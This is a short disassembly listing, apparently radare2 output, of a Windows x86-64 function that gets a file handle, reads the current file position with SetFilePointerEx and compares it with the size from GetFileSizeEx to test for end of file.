call fcn.1400252f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001fa40
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001fa40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001fa40
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001fa42
xor al, al
add rsp, 0x20
pop rbx
ret